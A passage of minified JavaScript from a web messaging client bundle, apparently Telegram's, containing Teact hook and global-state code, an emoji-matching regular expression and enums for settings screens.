0})),c=()=>(0,f.Z)((()=>{if(i.mountState===g.Unmounted)return;let e;o.eMD&&(e=performance.now());const n=t();if("function"==typeof n&&(a[s].cleanup=n),o.eMD){const t=performance.now()-e,n=te(i.Component);t>v&&console.warn(`[Teact] Slow effect at cursor #${s}: ${n}, ${Math.round(t)} ms`)}}),(()=>{console.error(`[Teact] Error in effect at cursor #${s} in ${i.name}`)}));function u(){const t=`${i.id}_${s}`;e?(x.set(t,d),O.set(t,c)):(B.set(t,d),D.set(t,c)),F()}if(n&&a[s]?.dependencies){if(n.some(((e,t)=>e!==a[s].dependencies[t]))){if(o.eMD&&r){const e=n.reduce(((e,t,n)=>{const o=a[s].dependencies[n];return t!==o&&e.push(`${n}: ${o} => ${t}`),e}),[]);console.log(`[Teact] Effect "${r}" caused by dependencies.`,e.join(", "))}u()}}else r&&console.log(`[Teact] Effect "${r}" caused by missing dependencies.`),u();const l=!a[s];a[s]={...a[s],dependencies:n,schedule:u},l&&(a[s].releaseSignals=function(){const e=n?.filter(h.$Z).map(((e,t)=>e.subscribe((()=>{r&&console.log(`[Teact] Effect "${r}" caused by signal #${t} new value:`,e()),a[s].schedule()}))));if(e?.length)return()=>{for(const t of e)t()}}()),I.hooks.effects.cursor++}function q(e,t,n){return z(!1,e,t,n)}function Y(e,t,n){return z(!0,e,t,n)}function J(e,t,n,s){I.hooks||(I.hooks={}),I.hooks.memos||(I.hooks.memos={cursor:0,byCursor:[]});const{cursor:a,byCursor:i}=I.hooks.memos;let d,{value:c}=i[a]||{};if(o.eMD&&s){const e=`${s}#${I.id}`;d=L[e],d||(d={key:e,calls:0,misses:0,hitRate:0},L[e]=d),d.calls++,d.hitRate=(d.calls-d.misses)/d.calls}if(void 0===i[a]||t.length!==i[a].dependencies.length||t.some(((e,t)=>e!==i[a].dependencies[t]))){if(o.eMD){if(n){const e=`[Teact.useMemo] ${I.name} (${n}): Update is caused by:`;i[a]?(0,r.X)(i[a].dependencies,t,e,n):console.log(`${e} [first render]`)}d&&(d.misses++,d.hitRate=(d.calls-d.misses)/d.calls,d.calls%10==0&&d.calls>=N&&d.hitRate<.25&&console.warn(`[Teact] ${d.key}: Hit rate is ${d.hitRate.toFixed(2)} for ${d.calls} calls`))}c=e()}return i[a]={value:c,dependencies:t},I.hooks.memos.cursor++,c}function X(e,t,n){return J((()=>e),t,n)}function Q(e){I.hooks||(I.hooks={}),I.hooks.refs||(I.hooks.refs={cursor:0,byCursor:[]});const{cursor:t,byCursor:n}=I.hooks.refs;return n[t]||(n[t]={current:e}),I.hooks.refs.cursor++,n[t]}function ee(e,t){function n(n){return J((()=>E(e,n)),Object.values(n),t,o.ZTn?te(I.Component):void 0)}return n.DEBUG_contentComponentName=te(e),n}function te(e){const{name:t,DEBUG_contentComponentName:n}=e;return"TeactNContainer"===t?`container>${n}`:"TeactMemoWrapper"===t?`memo>${n}`:t+(n?`>${n}`:"")}const ne={createElement:E,Fragment:y}},65116:(e,t,n)=>{n.d(t,{Iq:()=>L,Sv:()=>k,gP:()=>Z,ll:()=>A});var o=n(83716),r=n(275),s=n(33592),a=n(60782),i=n(69118),d=n(57710),c=n(60748),u=n(65326),l=n(18674),f=n(27704);function h(){return h=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},h.apply(this,arguments)}let m,p={};const g=(0,i.$6)((()=>{m=void 0})),y={},b=[function(){let e;o.eMD&&(e=performance.now());for(const e of w.values()){const{mapStateToProps:t,ownProps:n,mappedProps:a,forceUpdate:i}=e;if(!R(e,p,n))continue;let d;try{d=t(p,n)}catch(e){return void(0,s.S)(e)}o.eMD&&Object.values(d).some(Number.isNaN)&&console.warn(`[TeactN] Some of \`${e.DEBUG_componentName}\` mappers contain NaN values. This may cause redundant updates because of incorrect equality check.`),Object.keys(d).length&&!(0,r.Z)(a,d)&&(o.ZTn&&(0,r.X)(a,d,`[TeactN] Will update ${e.DEBUG_componentName} caused by:`),e.mappedProps=d,e.DEBUG_updates++,i())}if(o.eMD){const t=performance.now()-e;t>7&&console.warn(`[TeactN] Slow containers update: ${Math.round(t)} ms`)}}],v={},w=new Map,I=(0,i.$6)(S);let C=!0;function S(){if(C)C=!1;else if((0,l.zG)())return void(0,d.i$)(I);b.forEach((e=>e(p)))}function E(e,t){if("object"==typeof e&&e!==p){if(o.eMD){if(!t?.forceOutdated&&e.DEBUG_capturedId&&e.DEBUG_capturedId!==m)throw new Error("[TeactN.setGlobal] Attempt to set an outdated global");m=void 0}p=e,t?.forceSyncOnIOs?(C=!0,S()):(t?.forceOnHeavyAnimation&&(C=!0),I())}}function P(){return o.eMD&&(m=Math.random(),p={...p,DEBUG_capturedId:m},g()),p}function k(){return v}let T=[];function M(e,t){y[e]||(y[e]=[],v[e]=(t,n)=>{!function(e,t,n){if(T.push((()=>{y[e]?.forEach((e=>{const r=e(o.eMD?P():p,v,t);r&&"function"!=typeof r.then&&E(r,n)}))})),1===T.length)try{for(;T.length;)T[0](),T.shift()}finally{T=[]}}(e,t,n)}),y[e].push(t)}function A(e){b.push(e)}function L(e){const t=b.indexOf(e);-1!==t&&b.splice(t,1)}function N(e=(()=>({})),t){return n=>{function o(o){const a=(0,f.Z)(),i=(0,u.Z)();(0,c.d4)((()=>()=>{w.delete(a)}),[a]);let d=w.get(a);if(d||(d={mapStateToProps:e,activationFn:t,ownProps:o,forceUpdate:i,DEBUG_updates:0,DEBUG_componentName:n.name},w.set(a,d)),!d.mappedProps||!(0,r.Z)(d.ownProps,o)&&R(d,p,o))try{d.mappedProps=e(p,o)}catch(e){(0,s.S)(e)}return d.ownProps=o,c.ZP.createElement(n,h({},d.mappedProps,o))}return o.DEBUG_contentComponentName=(0,c.Fz)(n),o}}function R(e,t,n){const{activationFn:o,stuckTo:r}=e;return!o||o(t,n,(t=>(t&&!r&&(e.stuckTo=t),t&&(!r||r===t))))}function Z(){return{getGlobal:P,setGlobal:E,getActions:k,addActionHandler:M,withGlobal:N}}o.eMD&&(window.getGlobal=P,window.setGlobal=E,document.addEventListener("dblclick",(()=>{console.warn("GLOBAL CONTAINERS",(0,a.Xo)(Array.from(w.values()).map((({DEBUG_componentName:e,DEBUG_updates:t})=>({DEBUG_componentName:e,DEBUG_updates:t}))),"DEBUG_updates","desc"))})))},33681:(e,t,n)=>{n.d(t,{Z:()=>a,l:()=>s});const o=/\uFE0F/g,r=String.fromCharCode(8205);function s(e){return e.indexOf(r)<0?e.replace(o,""):e}const a=/(?:\ud83c[\udd70\udd71\udd7e\udd7f]\ufe0f)|(?:\ud83d\udc68\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83e\uddd1\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffc-\udfff]|\ud83e\uddd1\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffb\udffd-\udfff]|\ud83e\uddd1\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffb\udffc\udffe\udfff]|\ud83e\uddd1\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffb-\udffd\udfff]|\ud83e\uddd1\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffb-\udffe]|\ud83d\udc68\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffb\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffc-\udfff]|\ud83d\udc68\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffc\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb\udffd-\udfff]|\ud83d\udc68\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffd\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb\udffc\udffe\udfff]|\ud83d\udc68\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffe\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb-\udffd\udfff]|\ud83d\udc68\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udfff\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb-\udffe]|\ud83d\udc69\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffb\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffc-\udfff]|\ud83d\udc69\ud83c\udffb\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffc-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb\udffd-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffb\udffd-\udfff]|\ud83d\udc69\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffd\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb\udffc\udffe\udfff]|\ud83d\udc69\ud83c\udffd\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffb\udffc\udffe\udfff]|\ud83d\udc69\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffe\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb-\udffd\udfff]|\ud83d\udc69\ud83c\udffe\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffb-\udffd\udfff]|\ud83d\udc69\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udfff\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb-\udffe]|\ud83d\udc69\ud83c\udfff\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffb-\udffe]|\ud83e\uddd1\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udffc-\udfff]|\ud83e\uddd1\ud83c\udffb\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]|\ud83e\uddd1\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udffb\udffd-\udfff]|\ud83e\uddd1\ud83c\udffc\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]|\ud83e\uddd1\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udffb\udffc\udffe\udfff]|\ud83e\uddd1\ud83c\udffd\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]|\ud83e\uddd1\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udffb-\udffd\udfff]|\ud83e\uddd1\ud83c\udffe\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]|\ud83e\uddd1\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udffb-\udffe]|\ud83e\uddd1\ud83c\udfff\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]|\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68|\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d[\udc68\udc69]|\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc68|\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud83d[\udc68\udc69]|\ud83e\uddd1\u200d\ud83e\udd1d\u200d\ud83e\uddd1|\ud83d\udc6b\ud83c[\udffb-\udfff]|\ud83d\udc6c\ud83c[\udffb-\udfff]|\ud83d\udc6d\ud83c[\udffb-\udfff]|\ud83d\udc8f\ud83c[\udffb-\udfff]|\ud83d\udc91\ud83c[\udffb-\udfff]|\ud83d[\udc6b-\udc6d\udc8f\udc91])|(?:\ud83d[\udc68\udc69]|\ud83e\uddd1)(?:\ud83c[\udffb-\udfff])?\u200d(?:\u2695\ufe0f|\u2696\ufe0f|\u2708\ufe0f|\ud83c[\udf3e\udf73\udf7c\udf84\udf93\udfa4\udfa8\udfeb\udfed]|\ud83d[\udcbb\udcbc\udd27\udd2c\ude80\ude92]|\ud83e[\uddaf-\uddb3\uddbc\uddbd])|(?:\ud83c[\udfcb\udfcc]|\ud83d[\udd74\udd75]|\u26f9)((?:\ud83c[\udffb-\udfff]|\ufe0f)\u200d[\u2640\u2642]\ufe0f)|(?:\ud83c[\udfc3\udfc4\udfca]|\ud83d[\udc6e\udc70\udc71\udc73\udc77\udc81\udc82\udc86\udc87\ude45-\ude47\ude4b\ude4d\ude4e\udea3\udeb4-\udeb6]|\ud83e[\udd26\udd35\udd37-\udd39\udd3d\udd3e\uddb8\uddb9\uddcd-\uddcf\uddd4\uddd6-\udddd])(?:\ud83c[\udffb-\udfff])?\u200d[\u2640\u2642]\ufe0f|(?:\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc68\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc68\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d[\udc66\udc67]|\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d[\udc66\udc67]|\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d[\udc66\udc67]|\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f|\ud83c\udff3\ufe0f\u200d\ud83c\udf08|\ud83d\ude36\u200d\ud83c\udf2b\ufe0f|\u2764\ufe0f\u200d\ud83d\udd25|\u2764\ufe0f\u200d\ud83e\ude79|\ud83c\udff4\u200d\u2620\ufe0f|\ud83d\udc15\u200d\ud83e\uddba|\ud83d\udc3b\u200d\u2744\ufe0f|\ud83d\udc41\u200d\ud83d\udde8|\ud83d\udc68\u200d\ud83d[\udc66\udc67]|\ud83d\udc69\u200d\ud83d[\udc66\udc67]|\ud83d\udc6f\u200d\u2640\ufe0f|\ud83d\udc6f\u200d\u2642\ufe0f|\ud83d\ude2e\u200d\ud83d\udca8|\ud83d\ude35\u200d\ud83d\udcab|\ud83e\udd3c\u200d\u2640\ufe0f|\ud83e\udd3c\u200d\u2642\ufe0f|\ud83e\uddde\u200d\u2640\ufe0f|\ud83e\uddde\u200d\u2642\ufe0f|\ud83e\udddf\u200d\u2640\ufe0f|\ud83e\udddf\u200d\u2642\ufe0f|\ud83d\udc08\u200d\u2b1b|\ud83d\udc26\u200d\u2b1b)|[#*0-9]\ufe0f?\u20e3|(?:[©®\u2122\u265f]\ufe0f)|(?:\ud83c[\udc04\ude02\ude1a\ude2f\ude37\udf21\udf24-\udf2c\udf36\udf7d\udf96\udf97\udf99-\udf9b\udf9e\udf9f\udfcd\udfce\udfd4-\udfdf\udff3\udff5\udff7]|\ud83d[\udc3f\udc41\udcfd\udd49\udd4a\udd6f\udd70\udd73\udd76-\udd79\udd87\udd8a-\udd8d\udda5\udda8\uddb1\uddb2\uddbc\uddc2-\uddc4\uddd1-\uddd3\udddc-\uddde\udde1\udde3\udde8\uddef\uddf3\uddfa\udecb\udecd-\udecf\udee0-\udee5\udee9\udef0\udef3]|[\u203c\u2049\u2139\u2194-\u2199\u21a9\u21aa\u231a\u231b\u2328\u23cf\u23ed-\u23ef\u23f1\u23f2\u23f8-\u23fa\u24c2\u25aa\u25ab\u25b6\u25c0\u25fb-\u25fe\u2600-\u2604\u260e\u2611\u2614\u2615\u2618\u2620\u2622\u2623\u2626\u262a\u262e\u262f\u2638-\u263a\u2640\u2642\u2648-\u2653\u2660\u2663\u2665\u2666\u2668\u267b\u267f\u2692-\u2697\u2699\u269b\u269c\u26a0\u26a1\u26a7\u26aa\u26ab\u26b0\u26b1\u26bd\u26be\u26c4\u26c5\u26c8\u26cf\u26d1\u26d3\u26d4\u26e9\u26ea\u26f0-\u26f5\u26f8\u26fa\u26fd\u2702\u2708\u2709\u270f\u2712\u2714\u2716\u271d\u2721\u2733\u2734\u2744\u2747\u2757\u2763\u2764\u27a1\u2934\u2935\u2b05-\u2b07\u2b1b\u2b1c\u2b50\u2b55\u3030\u303d\u3297\u3299])(?:\ufe0f|(?!\ufe0e))|(?:(?:\ud83c[\udfcb\udfcc]|\ud83d[\udd74\udd75\udd90]|[\u261d\u26f7\u26f9\u270c\u270d])(?:\ufe0f|(?!\ufe0e))|(?:\ud83c[\udf85\udfc2-\udfc4\udfc7\udfca]|\ud83d[\udc42\udc43\udc46-\udc50\udc66-\udc69\udc6e\udc70-\udc78\udc7c\udc81-\udc83\udc85-\udc87\udcaa\udd7a\udd95\udd96\ude45-\ude47\ude4b-\ude4f\udea3\udeb4-\udeb6\udec0\udecc]|\ud83e[\udd0c\udd0f\udd18-\udd1f\udd26\udd30-\udd39\udd3d\udd3e\udd77\uddb5\uddb6\uddb8\uddb9\uddbb\uddcd-\uddcf\uddd1-\udddd\udec3-\udec5\udef0-\udef8]|[\u270a\u270b]))(?:\ud83c[\udffb-\udfff])?|(?:\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f|\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc73\udb40\udc63\udb40\udc74\udb40\udc7f|\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc77\udb40\udc6c\udb40\udc73\udb40\udc7f|\ud83c\udde6\ud83c[\udde8-\uddec\uddee\uddf1\uddf2\uddf4\uddf6-\uddfa\uddfc\uddfd\uddff]|\ud83c\udde7\ud83c[\udde6\udde7\udde9-\uddef\uddf1-\uddf4\uddf6-\uddf9\uddfb\uddfc\uddfe\uddff]|\ud83c\udde8\ud83c[\udde6\udde8\udde9\uddeb-\uddee\uddf0-\uddf5\uddf7\uddfa-\uddff]|\ud83c\udde9\ud83c[\uddea\uddec\uddef\uddf0\uddf2\uddf4\uddff]|\ud83c\uddea\ud83c[\udde6\udde8\uddea\uddec\udded\uddf7-\uddfa]|\ud83c\uddeb\ud83c[\uddee-\uddf0\uddf2\uddf4\uddf7]|\ud83c\uddec\ud83c[\udde6\udde7\udde9-\uddee\uddf1-\uddf3\uddf5-\uddfa\uddfc\uddfe]|\ud83c\udded\ud83c[\uddf0\uddf2\uddf3\uddf7\uddf9\uddfa]|\ud83c\uddee\ud83c[\udde8-\uddea\uddf1-\uddf4\uddf6-\uddf9]|\ud83c\uddef\ud83c[\uddea\uddf2\uddf4\uddf5]|\ud83c\uddf0\ud83c[\uddea\uddec-\uddee\uddf2\uddf3\uddf5\uddf7\uddfc\uddfe\uddff]|\ud83c\uddf1\ud83c[\udde6-\udde8\uddee\uddf0\uddf7-\uddfb\uddfe]|\ud83c\uddf2\ud83c[\udde6\udde8-\udded\uddf0-\uddff]|\ud83c\uddf3\ud83c[\udde6\udde8\uddea-\uddec\uddee\uddf1\uddf4\uddf5\uddf7\uddfa\uddff]|\ud83c\uddf4\ud83c\uddf2|\ud83c\uddf5\ud83c[\udde6\uddea-\udded\uddf0-\uddf3\uddf7-\uddf9\uddfc\uddfe]|\ud83c\uddf6\ud83c\udde6|\ud83c\uddf7\ud83c[\uddea\uddf4\uddf8\uddfa\uddfc]|\ud83c\uddf8\ud83c[\udde6-\uddea\uddec-\uddf4\uddf7-\uddf9\uddfb\uddfd-\uddff]|\ud83c\uddf9\ud83c[\udde6\udde8\udde9\uddeb-\udded\uddef-\uddf4\uddf7\uddf9\uddfb\uddfc\uddff]|\ud83c\uddfa\ud83c[\udde6\uddec\uddf2\uddf3\uddf8\uddfe\uddff]|\ud83c\uddfb\ud83c[\udde6\udde8\uddea\uddec\uddee\uddf3\uddfa]|\ud83c\uddfc\ud83c[\uddeb\uddf8]|\ud83c\uddfd\ud83c\uddf0|\ud83c\uddfe\ud83c[\uddea\uddf9]|\ud83c\uddff\ud83c[\udde6\uddf2\uddfc]|\ud83c[\udccf\udd8e\udd91-\udd9a\udde6-\uddff\ude01\ude32-\ude36\ude38-\ude3a\ude50\ude51\udf00-\udf20\udf2d-\udf35\udf37-\udf7c\udf7e-\udf84\udf86-\udf93\udfa0-\udfc1\udfc5\udfc6\udfc8\udfc9\udfcf-\udfd3\udfe0-\udff0\udff4\udff8-\udfff]|\ud83d[\udc00-\udc3e\udc40\udc44\udc45\udc51-\udc65\udc6a\udc6f\udc79-\udc7b\udc7d-\udc80\udc84\udc88-\udc8e\udc90\udc92-\udca9\udcab-\udcfc\udcff-\udd3d\udd4b-\udd4e\udd50-\udd67\udda4\uddfb-\ude44\ude48-\ude4a\ude80-\udea2\udea4-\udeb3\udeb7-\udebf\udec1-\udec5\uded0-\uded2\uded5-\uded7\udedc-\udedf\udeeb\udeec\udef4-\udefc\udfe0-\udfeb\udff0]|\ud83e[\udd0d\udd0e\udd10-\udd17\udd20-\udd25\udd27-\udd2f\udd3a\udd3c\udd3f-\udd45\udd47-\udd76\udd78-\uddb4\uddb7\uddba\uddbc-\uddcc\uddd0\uddde-\uddff\ude70-\ude7c\ude80-\ude88\ude90-\udebd\udebf-\udec2\udece-\udedb\udee0-\udee8]|[\u23e9-\u23ec\u23f0\u23f3\u267e\u26ce\u2705\u2728\u274c\u274e\u2753-\u2755\u2795-\u2797\u27b0\u27bf\ue50a])|\ufe0f/g},91713:(e,t,n)=>{n.d(t,{Cr:()=>l,KB:()=>y,MT:()=>s,Nh:()=>f,Uq:()=>o,WB:()=>p,bZ:()=>c,du:()=>a,fo:()=>r,mp:()=>b,nJ:()=>i,qt:()=>d,rN:()=>h,u1:()=>v,vi:()=>g,wv:()=>m,ze:()=>u});let o=function(e){return e[e.Backwards=0]="Backwards",e[e.Forwards=1]="Forwards",e[e.Around=2]="Around",e}({}),r=function(e){return e[e.Up=0]="Up",e[e.Down=1]="Down",e[e.Static=2]="Static",e}({}),s=function(e){return e[e.Main=0]="Main",e[e.EditProfile=1]="EditProfile",e[e.Notifications=2]="Notifications",e[e.DataStorage=3]="DataStorage",e[e.Language=4]="Language",e[e.ActiveSessions=5]="ActiveSessions",e[e.General=6]="General",e[e.GeneralChatBackground=7]="GeneralChatBackground",e[e.GeneralChatBackgroundColor=8]="GeneralChatBackgroundColor",e[e.Privacy=9]="Privacy",e[e.PrivacyPhoneNumber=10]="PrivacyPhoneNumber",e[e.PrivacyAddByPhone=11]="PrivacyAddByPhone",e[e.PrivacyLastSeen=12]="PrivacyLastSeen",e[e.PrivacyProfilePhoto=13]="PrivacyProfilePhoto",e[e.PrivacyBio=14]="PrivacyBio",e[e.PrivacyPhoneCall=15]="PrivacyPhoneCall",e[e.PrivacyPhoneP2P=16]="PrivacyPhoneP2P",e[e.PrivacyForwarding=17]="PrivacyForwarding",e[e.PrivacyVoiceMessages=18]="PrivacyVoiceMessages",e[e.PrivacyGroupChats=19]="PrivacyGroupChats",e[e.PrivacyPhoneNumberAllowedContacts=20]="PrivacyPhoneNumberAllowedContacts",e[e.PrivacyPhoneNumberDeniedContacts=21]="PrivacyPhoneNumberDeniedContacts",e[e.PrivacyLastSeenAllowedContacts=22]="PrivacyLastSeenAllowedContacts",e[e.PrivacyLastSeenDeniedContacts=23]="PrivacyLastSeenDeniedContacts",e[e.PrivacyProfilePhotoAllowedContacts=24]="PrivacyProfilePhotoAllowedContacts",e[e.PrivacyProfilePhotoDeniedContacts=25]="PrivacyProfilePhotoDeniedContacts",e[e.PrivacyBioAllowedContacts=26]="PrivacyBioAllowedContacts",e[e.PrivacyBioDeniedContacts=27]="PrivacyBioDeniedContacts",e[e.PrivacyPhoneCallAllowedContacts=28]="PrivacyPhoneCallAllowedContacts",e[e.PrivacyPhoneCallDeniedContacts=29]="PrivacyPhoneCallDeniedContacts",e[e.PrivacyPhoneP2PAllowedContacts=30]="PrivacyPhoneP2PAllowedContacts",e[e.PrivacyPhoneP2PDeniedContacts=31]="PrivacyPhoneP2PDeniedContacts",e[e.PrivacyForwardingAllowedContacts=32]="PrivacyForwardingAllowedContacts",e[e.PrivacyForwardingDeniedContacts=33]="PrivacyForwardingDeniedContacts",e[e.PrivacyVoiceMessagesAllowedContacts=34]="PrivacyVoiceMessagesAllowedContacts",e[e.PrivacyVoiceMessagesDeniedContacts=35]="PrivacyVoiceMessagesDeniedContacts",e[e.PrivacyGroupChatsAllowedContacts=36]="PrivacyGroupChatsAllowedContacts",e[e.PrivacyGroupChatsDeniedContacts=37]="PrivacyGroupChatsDeniedContacts",e[e.PrivacyBlockedUsers=38]="PrivacyBlockedUsers",e[e.Performance=39]="Performance",e[e.Folders=40]="Folders",e[e.FoldersCreateFolder=41]="FoldersCreateFolder",e[e.FoldersEditFolder=42]="FoldersEditFolder",e[e.FoldersEditFolderFromChatList=43]="FoldersEditFolderFromChatList",e[e.FoldersEditFolderInvites=44]="FoldersEditFolderInvites",e[e.FoldersIncludedChats=45]="FoldersIncludedChats",e[e.FoldersIncludedChatsFromChatList=46]="FoldersIncludedChatsFromChatList",e[e.FoldersExcludedChats=47]="FoldersExcludedChats",e[e.FoldersExcludedChatsFromChatList=48]="FoldersExcludedChatsFromChatList",e[e.TwoFaDisabled=49]="TwoFaDisabled",e[e.TwoFaNewPassword=50]="TwoFaNewPassword",e[e.TwoFaNewPasswordConfirm=51]="TwoFaNewPasswordConfirm",e[e.TwoFaNewPasswordHint=52]="TwoFaNewPasswordHint",e[e.TwoFaNewPasswordEmail=53]="TwoFaNewPasswor